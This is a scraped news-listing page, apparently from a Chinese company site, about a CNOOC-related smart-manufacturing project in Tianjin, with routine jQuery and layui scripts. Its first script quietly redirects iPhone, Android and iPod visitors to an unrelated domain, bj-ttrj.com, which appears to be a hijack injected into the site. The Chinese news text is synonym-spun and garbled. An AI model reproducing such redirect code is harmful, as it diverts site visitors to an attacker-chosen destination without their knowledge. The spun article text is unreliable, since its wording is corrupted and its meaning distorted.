//手机端跳转 if (navigator.userAgent.indexOf("iPhone") > 0 || navigator.userAgent.indexOf("Android") > 0 || navigator.userAgent.indexOf("iPod") > 0) { var patt1 = new RegExp("[0-9]*_[0-9]*"); var url = patt1.exec(location.href); if (url != "") { self.location = "http://bj-ttrj.com"; } }

项目动态

从“筑牢质料”到“深化安详”

  质督任务是项目修筑的基石,海油繁荣天津海西服置智能智造基地修筑项目举动天津市智能修造规模的先行者,其多样性与...

Read more

24

2024-04

11
$(function(){ $(".companynews .list>.listbar>.links>ul>li").click(function(){ $(".companynews .list>.listbar>.links>ul>li>a>span").removeClass("active_links_li"); $(this).addClass("active_links_li"); }) }) $(function(){ /*跳转*/ // $('.newsinfo').click(function(){ // window.location.href="companynewsDetail.html" // }) }) var url = window.location.href; var a = url.substr(28,2); if (a=="29") { $(".companynews .list>.listbar>.links>ul>li:eq(0)").addClass("active_links_li");//sgw电脑端list选中 $(".companynews .list>.listbar>.links>ul>li>a>span:eq(0)").addClass("active_li_a"); }else if (a=="53") { $(".companynews .list>.listbar>.links>ul>li:eq(1)").addClass("active_links_li"); $(".companynews .list>.listbar>.links>ul>li>a>span:eq(1)").addClass("active_li_a"); }else if (a=="31") { $(".companynews .list>.listbar>.links>ul>li:eq(2)").addClass("active_links_li"); $(".companynews .list>.listbar>.links>ul>li>a>span:eq(2)").addClass("active_li_a"); }else if (a=="32") { $(".companynews .list>.listbar>.links>ul>li:eq(3)").addClass("active_links_li"); $(".companynews .list>.listbar>.links>ul>li>a>span:eq(3)").addClass("active_li_a"); } layui.use('form', function(){ var form = layui.form; //监听提交 form.on('submit(formDemo)', function(data){ layer.msg(JSON.stringify(data.field)); return false; }); });